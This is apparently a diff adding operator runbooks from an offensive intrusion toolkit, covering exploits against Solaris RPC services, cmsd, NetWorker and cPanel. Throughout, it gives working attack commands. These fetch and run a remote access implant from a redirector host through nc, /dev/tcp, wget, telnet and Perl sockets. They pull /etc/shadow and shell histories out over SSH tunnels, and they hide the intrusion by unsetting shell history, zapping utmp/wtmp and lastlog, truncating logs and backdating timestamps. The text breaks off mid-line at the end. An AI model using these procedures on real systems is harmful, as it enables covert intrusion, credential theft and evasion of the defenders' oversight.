+:%s/GSWORK_DIR//g +:%s/GSRATNAME//g +`x + + +rpcinfo -p GSTARGET_IP + +rpcinfo -n GSPORT -u GSTARGET_IP 100249 +rpcinfo -n GSPORT -t GSTARGET_IP 100249 + +# From PI +-scan rpc GSTARGET_IP +-scan mibiisa GSTARGET_IP + # should respond w/ snmp version or h/w type if mibiisa is running: +-scan snmp1 GSTARGET_IP + # should give motd banner to tell you the OS +-scan snmp2 GSTARGET_IP + +# If the above don't answer, GS won't work +# if the scans answer with "No such name" then they are probably not vulnerable +# anything else might be worth a shot as long as you're getting udp 161 to target + +### In netcat window: +packrat GSRATNAME /current/up/noserver-??? GSNETCAT_PORT + +# Tunneling +# on redirector + +-tunnel +u 161 GSTARGET_IP +r GSNETCAT_PORT +s + +# logging depends on sneer(2.6) or frowns(2.7+) + + +# With redirector: +#./gs.os.gr -i 127.0.0.1 -g -l REDIR-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i 127.0.0.1 -g -l GSREDIR_IP -n GSNETCAT_PORT -D /tmp/GSWORK_DIR -f GSRATNAME + +# NO tunneling + +# Local window +#./gs.os.gr -i TARGET-IP -g -l REDIR-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i GSTARGET_IP -g -l GSREDIR_IP -n GSNETCAT_PORT -D /tmp/GSWORK_DIR -f GSRATNAME + + +# Both cases: +#you wait 4 minutes, and you should see the upload of nopen +# Ctrl-C your nc + +### Connect to RAT on target: +### Straight connect (no redirection) +cd ../down +../bin/noclient GSTARGET_IP + +### Connect using redirector: +-nstun GSTARGET_IP + +### Cleanup: +### run cleaner after frowns (or else another callback in 4 minutes) (might be automatic now) +### If cleaner failed, look for and remove mibiisa_ps_data: +rm /tmp/mibiisa_ps_data + +### toast utmp, wtmp, utmpx, wtmpx +:/TOAST + +### TO ENSURE CLEANER WORKED: +### Remove directory created under /tmp and WAIT 4 MINUTES...if directory is not re-created, cleaner worked +-rm GSWORK_DIR + +### END GS ### + + +####################### +# EASY - EASYSTREET # +####################### + +### cmsd 100068 +### UDP is best since it's a single packet to exploit + +mx +:%s/ESTARGET_IP//g +`x + +# look for 100068 and make note of port +-scan rpc ESTARGET_IP + +### with -sploit: + +#-sploit will ask you which exploit to try. +# Select 'CM' (calendar manager) +# Another window will pop up to run the exploit +# This window will pause to allow you to verify the command it will run. +# The command should look something like this (the ports will vary): +# -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Append '-T 2' to the front of the line so that it looks like this: +# -T 2 -u 32778 -i 127.0.0.1 -l 192.168.250.3 -r sendmail -D /tmp/.scsi -n 26120 -c +# Then press return. + +# The exploit window will prompt you to set up a listener like this: +# You must establish a NOPEN listener on 192.168.250.3:SOME_RANDOM_PORT + +-nrtun RANDOM (as indicated in the -sploit exploit prompt) + +#Press enter + +#Now the exploit will occur and, after a couple of minutes, it will call back +#to your listener. +#Once the callback occurs, take the following steps: + +#In a local window +LOCAL>closetunnel + +#Press 'A' to abort the autodone commands +#Delete the files created by your exploit +#There should be one lock file and one callog file +-lt /var/spool/calendar +-rm /var/spool/calendar/THE_TWO_MOST_RECENT_FILES + +#Use touch to set the directory timestamp back +-lt /var/spool +-touch /var/spool/SOME_OLDER_DIRECTORY /var/spool/calendar + + +### Usage: +./cmsex +./cmsex.auto + +EASYSTREET version 1.2 +Usage: cmsex -i -c -T (-u | -t ) + +-i target ip address / hostname +-c command +-T target type +-u UDP port (use 0 to query portmapper) +-t TCP port (use 0 to query portmapper) + +Target types: +0: Solaris 8 Blade-1000s and Ultra-60s +1: Solaris 9 Blade-1000s and Ultra-60s +2: Solaris 6,7,and 8 Ultras +3: Solaris 6 - 8 SPARCstations +4: Solaris 9 Ultra-30s +5: Solaris 6 - 7 x86 +6: Solaris 8 x86 +7: Solaris 9 x86 (not implemented) +8: HPUX (not implemented) +9: SCO 7.0.1 x86 + +Note: Choosing the correct target type is a bit of guesswork. + If one choice fails, you may want to try another. + +# Only use ESLOCAL_IP if NOT REDIRECTING cmsex command +mx +:%s/ESWORK_DIR//g +:%s/ESLOCAL_IP/ESLOCAL_IP/g +:%s/ESREDIR_IP//g +:%s/ESNETCAT_PORT//g +:%s/ESCMSD_PORT//g +:%s/ESRANDOM//g +`x + +### get nopen ready +packrat + + +### no redirection +#./cmsex -i TARGET_IP -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet ESLOCAL_IP ESNETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T (-u | -t) CMSD-PORT + +./cmsex -i ESTARGET_IP -c 'mkdir /tmp/ESWORK_DIR; cd /tmp/ESWORK_DIR && telnet ESLOCAL_IP ESNETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T (-u | -t) ESCMSD_PORT + + +### Redirected: +-tunnel +u ESRANDOM ESTARGET_IP ESCMSD_PORT +r ESNETCAT_PORT + +#./cmsex -i 127.0.0.1 -c 'mkdir /tmp/.scsi; cd /tmp/.scsi && telnet REDIR_IP NETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T 3 -u RANDOM +./cmsex -i 127.0.0.1 -c 'mkdir /tmp/ESWORK_DIR; cd /tmp/ESWORK_DIR && telnet ESREDIR_IP ESNETCAT_PORT | uudecode && uncompress sendmail.Z && PATH=. sendmail' -T 3 -u ESRANDOM + + +### when the upload is done, kill the netcat, then try connecting in + +-nstun ESTARGET_IP + +-rm sendmail + + +### Logging: +-lt /var/adm +-lt /var/spool/calendar + +### END EASY ### + + + +####################### +# BL - BOSSLADD # +####################### +### when nsrexec is there but NOT with nsrstatd??? +### like a tcp version of BS +### always uses port 7937 + + +### ./bll.tnc.gr + +# Before running this script, you first need to run the following: +# nc -l -p localPort < file2Xfer&Run.uu +# (nc must be in your path; it's also run w/in this script) +# where file2Xfer&Run.uu is a compressed, uuencoded file. + + +# Usage: bll.tnc.gr +# [options] -- [options to ] +# -i (required) +# -l (required) +# -p def = 32177 +# -f (required) +# -D def= /tmp/.X11R6 +# + +# ./bll.tnc.gr -i 66.128.32.67 -l 67.233.61.230 -p 24792 -f sendmail -D /tmp/.scsi + +mx +:%s/BLNETCAT_PORT//g +:%s/BLTARGET_IP//g +:%s/BLREDIR_IP//g +:%s/BLRAT_NAME//g +:%s/BLWORK_DIR//g +`mx + +packrat BLRAT_NAME BLNETCAT_PORT + +### On redirector: +-tunnel +l 7937 BLTARGET_IP +r BLNETCAT_PORT + +### On local machine: +### Ex.: ./bll.tnc.gr -i 127.0.0.1 -l 150.27.1.11 -p 45226 -f sendmail -D /tmp/.scsi +###./bll.tnc.gr -i 127.0.0.1 -l REDIR_IP -p NETCAT_PORT -f RAT_NAME -D /tmp/WORK_DIR + +./bll.tnc.gr -i 127.0.0.1 -l BLREDIR_IP -p BLNETCAT_PORT -f BLRAT_NAME -D /tmp/BLWORK_DIR + +### Once upload of RAT completes, connect to target from PI with nopen: + +-nstun BLTARGET_IP + +### Cleanup +-ls /nsr/cores +-ls /nsr/cores/sh +-cat /nsr/cores/sh/* +rm /nsr/cores/sh/* +-rm /nsr/cores/sh +-touch SOMEFILE /nsr/cores + +-ls /nsr/logs +-ls /nsr/logs/daemon.log +-get /nsr/logs/daemon.log +wc -l /nsr/logs/daemon.log +head -## /nsr/logs/daemon.log > n +-cat n +cat n > /nsr/logs/daemon.log +touch SOMEFILE /nsr/logs/daemon.log + +### END BL ### + + +####################### +# EBB - EBBSHAVE # +####################### +### Sol2.10 vulnerable for program 100230 metamhd, use Option #1 (5.9 metamhd) +### ./ebbshave.v5 is a wrapper program for ebbnew_linux exploit for Sparc Solaris RPC services +### Important: ebbnew_linux must be in your PATH + +#command that is useful: +#rpcinfo -n -u|-t + +usage: ./ebbshave.v5 -o -v -t -p +-o : one of the following options [1-19]: + 1, "5.9 metamhd", program # = 100230, NOTE - this works for same program on Sol2.10 + 2, "5.8 ruserd", program # = 100002, NOTE = version 1 + 3, "5.8 ruserd", program # = 100002, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 4, "5.8 ttdbserverd", program # = 100083, + 5, "5.8 cachefsd", program # = 100235, NOTE = version 1 - Start with option #6 first, if it fails then try this option + 6, "5.8 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 7, "5.8 metad", program # = 100229, NOTE = version 1 + 8, "5.8 metad", program # = 100229, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 9, "5.8 metamhd", program # = 100230, + 10, "5.7 ruserd", program # = 100002, NOTE = must start service first by using rpcinfo -n before using this option + 11, "5.7 kcms_server", program # = 100221, + 12, "5.7 cachefsd", program # = 100235, + 13, "5.7 ttdbserverd", program # = 100083, + 14, "5,7 dr_daemon", program # = 300326, + 15, "5.6 ruserd", program # = 100002, + 16, "5.6 kcms_server", program # = 100221, + 17, "5.6 cachefsd", program # = 100235, NOTE = version 1 - Start with option #18 first, if it fails then try this option + 18, "5.6 cachefsd", program # = 100235, NOTE = version 2 - must start service first by using rpcinfo -n before using this option + 19, "5.6 ttdbserverd", program # = 100083, +-v : the program version number you are exploiting which is obtained from rpcinfo output +-t : targets ip address +-p : port number rpc program is listening on +example: + ./ebbnew_linux.wrapper -o 2 -v 2 -t 192.168.10.4 -p 32772 + +If you fail to exploit using ./ebbshave.v5, try bruteforcing using ebbshave.v4 + + +mx +:%s/EBBTARGET_IP//g +:%s/EBBRANDOM//g +:%s/EBBPORT//g +:%s/EBBPROGNAME/metamhd/g +:%s/EBBPROG//g +:%s/EBBNETCAT_PORT//g +:%s/EBBREDIR_IP//g +:%s/EBBWORK_DIR//g +:%s/EBBRAT_PORT//g +`x + +### 1. Use the following command to look for a suitable program to hit + +-scan brpc EBBTARGET_IP + +### Local box: +./ebbshave.v5 + +### 2. Verify the portnum will work (should respond "ready and waiting) +### Use either: +# rpcinfo -n -u|-t +# Ex.: ebbshave -n 32776 -t targetip 100229 + +### Redirector: +-tunnel +[l or u] EBBRANDOM EBBTARGET_IP EBBPORT + +### Local: +rpcinfo -n EBBRANDOM -u|-t 127.0.0.1 EBBPROG + + +###### 3. Plug in your choices and go: + +### Netcat window: +packrat EBBNETCAT_PORT + + +### Add to Existing Redirector tunnels: +r EBBNETCAT_PORT + +### Locally: + +./ebbshave.v5 -o -v -t 127.0.0.1 -p EBBRANDOM + +### IF SUCCESSFUL - skip down to unsets +###IF ebbshave.v5 fails +### Locally: + +./ebbshave.v4 + +#ebbshave -B -T OPTION -n PORTNUM -t 127.0.0.1 PROGNUM +#./ebbshave.v4 -n -t 127.0.0.1 +# To throw it: +./ebbshave.v4 -T -n EBBRANDOM -t 127.0.0.1 EBBPROG + + +### If successful, you should get a root shell + +### Get the following ready for pasting: (paste one line at a time) + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir EBBWORK_DIR +cd /tmp/EBBWORK_DIR +pwd +telnet EBBREDIR_IP EBBlNETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep EBBRAT_PORT +D="-lEBBRAT_PORT" PATH=. sendmail + +### pitch window +-nstun EBBTARGET_IP EBBRAT_PORT + + +###### Cleanup: +/usr/openwin/bin/core +/var/adm/messages + +#on 5.10+: Touch back timestamps for your particular program (e.g., metamhd) in this listing: +-lss -uRg EBBPROGNAME /etc/svc/volatile/svc:/network/rpc + +Other cores locations? +Always look at utmp, wtmp,etc + + + +####### If you've hit this before and know the addresses: + +# Ex.: ./ebbshave -T 1 -S 0xffbefa20 -E 0xffbefa20 -n 32775 -t target 300326 + +### END EBB ### + + + +####################### +# MASQ - SSH MASQ # +####################### + +mx +:%s/MASQTARGET_IP//g +:%s/MASQTUNNEL_PORT//g +:%s/MASQUSER//g +`x + +### on redirector +-tunnel +l MASQTUNNEL_PORT MASQTARGET_IP 22 + + +# Multiple targets? If so, wipe your known_hosts file locally between each: +cat /dev/null > ~/.ssh/known_hosts + +### DIRECT?? NO WE GENERALLY DO NOT WANT THIS : ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x MASQUSER@MASQTARGET_IP "/bin/sh" + # or +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + # or this eliminates the lack of tty problem +ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -v -x -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 + +### Want tunnels? (for NOPEN, for file transfers....) +### +### Use the following lines to set up an ssh tunnel. The reverse tunnel can be used to pull up a rat, +### while the forward tunnel can be used to connect with noclient. This could be particularly useful +### if SSH is the only access method to the target. Both can be used simultaneously. +### NOTE: the -R commands WILL CREATE BOUND PORTS on target, be careful. +### +## FORWARD TUNNEL OPTION: (use actual target IP unless 127.0.0.1 might blend better) +## -L LOCAL_PORT:TARGET_IP:TARGET_PORT +## REVERSE TUNNEL OPTION: -R REMOTE_PORT:LOCAL_IP:LOCAL_PORT + +# NEW (who knew? apr 2011): With a full tty login (not with /bin/sh), you can get to a ssh command shell +# with the key sequence: CR-CR-~-C (return twice, tilde, capital C). + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +ps -ef +ls -lart /tmp +mount +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +which uudecode uncompress wget perl + # gedit sendmail +uudecode; ls -la + + +# LINUX: +# start nopen so you can upload forkpty to be able to su (ptrace didn't work) +-put forkpty f +./f + +# or: +su + +# SEE RAT UPLOADS +:/RAT UPLOAD + +### OR ### +### SSH TUNNEL +### set up a reverse SSH TUNNEL to use with RAT UPLOAD +### or a forward tunnel for noclient connection (or both) + +mx +:%s/MASQTARGET_IP//g +:%s/MASQTUNNEL_PORT//g +:%s/MASQUSER//g +:%s/REMOTEONE/REMOTEONE/g +:%s/LOCALONE/LOCALONE/g +:%s/REMOTETWO/REMOTETWO/g +:%s/LOCALTWO/LOCALTWO/g +:%s/TUNRATNAME/TUNRATNAME/g +`x + +### on redirector +-tunnel +l MASQTUNNEL_PORT MASQTARGET_IP 22 + +### LOCAL: + +nc -v -l -p LOCALONE < /current/up/noserver + +### Use the following lines to set up an ssh tunnel. The reverse tunnel can be used to pull up a rat, +### while the forward tunnel can be used to connect with noclient. This could be particularly useful +### if SSH is the only access method to the target. Both can be used simultaneously. +### NOTE: the -R commands WILL CREATE BOUND PORTS on target, be careful. + +ssh -R REMOTEONE:127.0.0.1:LOCALONE -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh +ssh -L LOCALTWO:127.0.0.1:REMOTETWO -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + +#OR, combined: +ssh -R REMOTEONE:127.0.0.1:LOCALONE -L LOCALTWO:127.0.0.1:REMOTETWO -x -v -p MASQTUNNEL_PORT MASQUSER@127.0.0.1 /bin/sh + + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +w +id +uname -a +ps -ef +ls -lart /tmp +mkdir /tmp/.scsi;cd /tmp/.scsi;pwd +which cat + +/bin/cat < /dev/tcp/127.0.0.1/REMOTEONE > /tmp/.scsi/TUNRATNAME + +# Execute noserver to listen for connection through the SSH tunnel +chmod 700 TUNRATNAME +PATH=. D=-lREMOTETWO TUNRATNAME + +# LOCALLY: +noclient 127.0.0.1:LOCALTWO + +### NOTE: With this technique you will have to rename +### target data from NOPEN-HOSTNAME.127.0.0.1 to +### NOPEN-HOSTNAME.TARGET-IP + + +################################################ +### SSH file pull without NOPEN -- BEGIN +################################################ + + +# Set up with these sub/pastables +# The 127.0.0.1 to 127.0.0.1 session is visible in a netstat -an, and probably: +mx +:%s,SSH_TUNNEL_PORT,random-11111-44444,g +:%s,SSH_USER,root,g +:%s,REV_TUNNEL_IP,127.0.0.1,g +:%s,HOST.TARGET_IP,HOST.TARGET_IP,g +`x + +# SSH tunneling (see also ug and of course man ssh) +# NOTE: Requires sshd_config on target to allow you to do this, most do +ssh -v -p 2202 -RSSH_TUNNEL_PORT:REV_TUNNEL_IP:SSH_TUNNEL_PORT SSH_USER@127.0.0.1 BIN_SH + +# tar to the ssh tunnel example: +# tar cjf - /etc/passwd /etc/shadow /home/*/.*history /var/*/*{messages,syslog,secure,audit} > /dev/tcp/REV_TUNNEL_IP/SSH_TUNNEL_PORT + + +# Local Helper Scripts + +# Local loop, listens then extracts next incoming tar content on SSH_TUNNEL_PORT +# NOTE: You need to be in right down/HOST.TARGET_IP: +mkdir /current/down/HOST.TARGET_IP/ ; cd /current/down/HOST.TARGET_IP/ +while [ 1 ] ; do date ; echo listening... ; nc -l -vv -p SSH_TUNNEL_PORT | tar -xvjf - || break ; done + + + + +# LOCAL shell-fu: PASTE ALL THIS IN AT ONCE +# Run this locally, feed it (via middle-click pastes) either full remote files/paths +# or any line that terminates in a full path, +# or any line containing a local full path filename containing such a listing +# PRODUCES: pastable tar command to run on target +while [ 1 ] ; do unset a b ; echo Paste in target files/paths or local filename containing list of same \; + echo Hit return to exit ; read a ; \ + [ "$a" ] || break ; a=`echo "$a" | sed "s,.* /,/,g"` ; \ + if [ -e "$a" ] ; then \ + export b=`sed "s,.* /, /,g" "$a" | egrep "^\s*/"` ; \ + fi ; \ + echo "$a" | egrep -q "^\s*/" || echo -e "\n\n\n\aINVALID INPUT\a\n\n\n" + echo "$a" | egrep -q "^\s*/" && echo -e "\n\n\ntar cjf - `echo $a` | nc -v 127.0.0.1 23477 &\n\n\n" ; \ + [ "$b" ] && \ + echo -e "\nOR USE THIS if you want files listed in this LOCAL FILE:\n`ls -al $a`\n" && \ + echo -e "\ntar cjf - `echo $b` | nc -v 127.0.0.1 23477 &\n\n" ; \ +done +################################################ +### SSH file pull without NOPEN -- END +################################################ + + +### END MASQ ### + + + +####################### +# RAT UPLOAD METHODS # +####################### + +---------------------------------------- + +# vi pastables +# RATPAYLOAD - NOPEN filename (without /current/up/) +# RATIP - Redirector IP +# RATPORT - Redirector PORT +# RATNAME - Filename to call NOPEN (normally sendmail) + +:%s/UPWORKDIR//g +:%s/RATPAYLOAD//g +:%s/RATIP//g +:%s/RATPORT//g +:%s/RATNAME//g +:%s/NOPENOPTS//g +:%s/UPTARGET_IP//g + +# Defaults (sendmail and noserver-linux) +:%s/UPWORKDIR/.scsi/g +:%s/RATNAME/sendmail/g +:%s/NOPENOPTS/-l32754/g +:%s/RATPAYLOAD/noserver-sparc/g +:%s/RATPAYLOAD/noserver-linux/g +---------------------------------------- + +# SHELL +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +date; date -u +w; id; pwd +mkdir /tmp/UPWORKDIR; cd /tmp/UPWORKDIR; pwd +---------------------------------------- + +# Determine available upload methods +# Solaris +type wget nc +type uudecode uncompress +type ksh bash telnet +type perl + +# Linux (which tends to work better than type) +which wget nc +which uudecode uncompress +which ksh bash telnet +which perl +---------------------------------------- + +# NOPEN -upload (automated netcat listener and redirect) +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +# compress RATNAME +# uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu + +Redirector (RATIP): +-upload /current/up/RATNAME RATPORT +# -upload /current/up/RATNAME.Z.uu RATPORT +---------------------------------------- + +# /dev/tcp (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD +(Probably will have to Ctrl-C once upload is finished) + +Redirector (RATIP): +-tunnel +r RATPORT + +Target (linux - bash shell): +bash -c 'cat < /dev/tcp/RATIP/RATPORT > RATNAME'; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME + +Target (solaris - ksh shell): +ksh -c 'cat < /dev/tcp/RATIP/RATPORT > RATNAME'; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# netcat (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD +(Probably will have to Ctrl-C once upload is finished) + +Redirector (RATIP): +-tunnel +r RATPORT + +Target: +nc RATIP RATPORT > RATNAME; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# wget +Local: +cd /current/up +echo -e 'HTTP/1.0 200\n' > RATNAME +cat /current/up/RATPAYLOAD >> RATNAME +nc -l -v -p RATPORT < RATNAME + +Local (Packrat style): +packrat -w RATNAME /current/up/RATPAYLOAD RATPORT + +Redirector (RATIP): +-tunnel +r RATPORT + +Target: +wget http://RATIP:RATPORT/RATNAME; ls -latr +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# uudecode.pastable +Local: +uudecode.pastable -s /current/up/RATPAYLOAD RATNAME + +Target: +# Paste the blue from uudecode.pastable +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# uudecode +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +compress RATNAME +uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu + +Remote: +# gedit RATNAME.Z.uu +# -- paste contents of gedit +uudecode; ls -latr +uncompress RATNAME.Z +ls -la +chmod 700 RATNAME +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + +# Perl Callback (-upload compatible) +Local: +nc -l -v -p RATPORT < /current/up/RATPAYLOAD + +Redirector: +-tunnel +r RATPORT + +Remote: +perl -MIO -e 'close(STDIN);$c=IO::Socket::INET->new("RATIP:RATPORT")or exit1;binmode($c);open(O,">RATNAME")or exit 1;binmode(O);select O;$|=1; print O while (<$c>);close(STDOUT);close($c);unlink("RATNAME") unless (-s "RATNAME");' +---------------------------------------- + +# Perl Listen +Remote: +perl -MIO -e '$s=new IO::Socket::INET(LocalPort,RATPORT,Reuse,1,Listen,10) or exit 1; $c=$s->accept() or exit 1;open(O,">RATNAME")or exit 1;select O;$|=1;print O while <$c>;close(O);close($c);unlink("RATNAME") unless (-s "RATNAME");' + +Redirector: +-tunnel +l RATPORT UPTARGET_IP + +Local: +nc -vv 127.0.0.1 RATPORT < /current/up/RATPAYLOAD +---------------------------------------- + +# telnet (-upload compatible) +Local: +cd /current/up +cp /current/up/RATPAYLOAD RATNAME +compress RATNAME +uuencode RATNAME.Z RATNAME.Z > RATNAME.Z.uu +nc -l -v -p RATPORT < /current/up/RATNAME.Z.uu + +Redirector: +-tunnel +r RATPORT + +Remote: +telnet RATIP RATPORT < /dev/console | uudecode && uncompress RATNAME.Z && chmod 700 RATNAME && ls -latr +PATH=. D=NOPENOPTS RATNAME +---------------------------------------- + + + +### END RAT ### + + + +####################### +# CLEANING # +####################### + +### TOAST ### + +### Target window +-put /current/up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmpx user + +### Remove toast... +-rm t + +### LOW-CARB DIET? (NO TOAST AVAILABLE?) LOCALLY EDIT WITH khexedit OR vi in hex mode: +:%!xxd + + + +##################### +# -shell # +##################### +################################################################## +## Using NOPEN to start something with clean file descriptors +## using -shell then exec to close file descriptors. +## +## Two examples, one for noserver, one for other standalones. +################################################################## + + +# This can be useful after exploits, too--if our NOPEN inherits a +# legit port from the exploit (say 161), then we install, we have just +# hidden our target's snmpd. Not good. + +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +cp /proc/$$/exe sendmail || cp /proc/$$/object/a.out sendmail +PATH=. D=-ulrandom14444-55555 sendmail +# OR: PATH=. D=-ucREDIR_IP:random14444-55555 sendmail +netstat -antp | grep sendmail || netstat -an | grep sendmail +ps -ef | grep sendmail$ +rm sendmail +exit + +# Used when deploying standalones (DD, SBZ), it helps avoid their +# children having the NOPEN ports inherited in CLOSE_WAIT state. + +-put /current/up/STANDALONETODEPLOY ./RAN_AS +-addpath . +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- +# We want only 0 1 and 2 left, ideally +ls -al /proc/$$/fd +# Try cleaning any over 9, but you often lose your -shell when you do so. +# Look for a window you have with just fd's under 10. +which RAN_AS +RAN_AS FAKE_ARGS_IF_ANY & +echo $? +rm RAN_AS +exit + diff --git a/Linux/doc/user.tool.elatedmonkey b/Linux/doc/user.tool.elatedmonkey new file mode 100644 index 0000000..1949f61 --- /dev/null +++ b/Linux/doc/user.tool.elatedmonkey @@ -0,0 +1,166 @@ +# +# ELATEDMONKEY is a local privelege escalation exploit against +# systems running the cPanel Remote Management Web Interface, at +# least through version 24, and probably future versions too +# (althogh that should be checked before throwing). It has been +# tested explicitly on cPanel 11.23.3 and 11.24.4 running CentOS +# 5.2 Linux +# + + +mx +:syntax on +:colorscheme darkblue +:%s#PATH_TO_ELATEDMONKEY_EXECUTABLE#/current/up/elatedmonkey.1.0.1.1.sh#g +:%s#WORKING_DIR#/tmp/.scsi#g +:%s/NOPEN_ON_TARGET/sendmail/g +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +:%s/REDIRECTOR_PORT/random14444-55555-1/g +:%s/RHP1/random14444-55555-2/g +'x + +# +# Step 1 - Get on the box with user creds. If you get on the box +# with root, stop reading here. You probably want to put up a +# user level nopen and run the exploit from a -shell +# + +# +# Step 2 - figure out who you are and what type of box you are on. +# + +pwd +-cd WORKING_DIR +date; date -u; id +uname -a + +# +# If you are user 'nobody', ELATEDMONKEY should work, if you are +# a user, ELATEDMONKEY will only work of apache executes scripts +# as 'nobody', otherwise you will should look into EXUBERENTCALM. +# + +# +# +# Step 3 - check that this exploit will work. +# I should really add a section to check and be sure that apache +# executes scripts as 'nobody', but that will require developer +# involvement so this is just a placeholder +# + + +# +# Step 4 - put up the file and check its contents +# + +-put PATH_TO_ELATEDMONKEY_EXECUTABLE e.sh +-lt e.sh + +# +# Step 5 - PROFIT! +# To make cleaning easier, take a timestamp before you throw the exploit +# + +# +# Get at least two nopen windows on target, one to throw the exploit and on +# to set up the tunnels +# + +# +# in a nopen window on target +# + +-tunnel + +r RHP1 + +# +# In a window on the redirector box +# + +-nrtun RHP2 + +# +# in a local scripted windows +# + +nc -v -l -p RHP1 + + +# +# In your exploit window +# + +-shell +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +date; date -u +sh e.sh -s 127.0.0.1 RHP1 ; date + +# +# You should not get any output, but you should see a connection +# through your tunnel and nc should establish a connection +# + +# +# Check that you are root +# + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +date; date -u +pwd +cd WORKING_DIR ; pwd + +# +# Because of limitations in NOPEN, we need to be sure all our file +# descriptors are closed, so this is how to do that. The below lines +# are designed to be copied and pasted, but it might be better to +# hand jam them: +# + +MY_PID=`echo -n $$` ls -lart /proc/$MY_PID/fd/ + +# +# Once you get the list of pids you have open, close all but 0 1 and 2 +# + +exec 4>&- 5>&- 6>&- 7>&- 8>&- 9>&- 10>&- 11>&- + +# +# and when you run nopen, close the remaining file descriptors +# + +PATH=. D=-cREDIRECTOR_IP:REDIRECTOR_PORT NOPEN_ON_TARGET 0>&- 1>&- 2>&- + +# +# From here you should know what to do! +# + +# +# Cleaning +# + +/usr/local/apache/logs/suexec_log + [2009-01-09 05:54:15]: uid: (mailman/mailman) gid: (mailman/mailman) cmd: config_list + +/usr/local/apache/logs/access_log + 127.0.0.1 - - [09/Jan/2009:05:52:32 -0500] "GET /~USER/info.php HTTP/1.0" 200 80 + +/usr/local/apache/logs/error_log + attribute "os" ignored + also errors from commands you run + +/var/log/dcpumon/toplog.* +/var/log/dcpumon/// + Dcpumon logs process lists and system usage in the every 5 minutes. Any + commands executed on the system could end up in these logs. Remove any + references to commands such as 'e.sh', + '/bin/sh -c /bin/sh > /dev/tcp/1.1.1.1/80 >&0 2>&0', and + '/usr/local/apache/bin/suexec mailman mailman config_list -c -i /dev/shm/mem mailman' + + diff --git a/Linux/doc/user.tool.endlessdonut b/Linux/doc/user.tool.endlessdonut new file mode 100644 index 0000000..dc31df4 --- /dev/null +++ b/Linux/doc/user.tool.endlessdonut @@ -0,0 +1,63 @@ + +2011-02-17 14:45:10 EST + +ENDLESSDONUT + + +mx +:syntax on +:%s#LOCATION_FOR_APACHE#/usr/local/apache#g +:%s#WORKING_DIRECTORY#/dev/shm/.X11R6#g +'x + +## This script assumes that you have connected to your target using some +## remote exploitation technique (probably ELEGANTEAGLE) and have an interactive +## shell as user "nobody". + +## First, do what we can to see if we will be logged when we attempt to +## run the exploit. Because we are user "nobody" we may not be able to +## see all of the applicable files at this time, and this is to be expected: + +grep -r "FPScriptLog" LOCATION_FOR_APACHE/conf +grep -r "FPScriptLog" LOCATION_FOR_APACHE/etc + +## Verify that you can execute from the partition you're on, and have a python +## interpreter. You'll probably need to be in /dev/shm or some other location +## than /tmp. + +which python +pwd; ls -la +mount +mkdir WORKING_DIRECTORY && cd WORKING_DIRECTORY ; pwd + +# Verify that there are two root httpd processes running + +ps -ef | grep httpd | grep root + +## Use the method of your choice to put the python script on target +## and make it executable. + +#Local: uudecode.pastable -s /current/up/endlessdonut.py e.py +chmod 700 e.py; ls -la e.py + +## Get timestamps before and after your attempt. +## "-s" will give us an elevated shell: +w; id +python e.py -s +unset HISTFILE HISTSIZE HISTFILESIZE +w; id + +## Your id should now look something like this: +######## 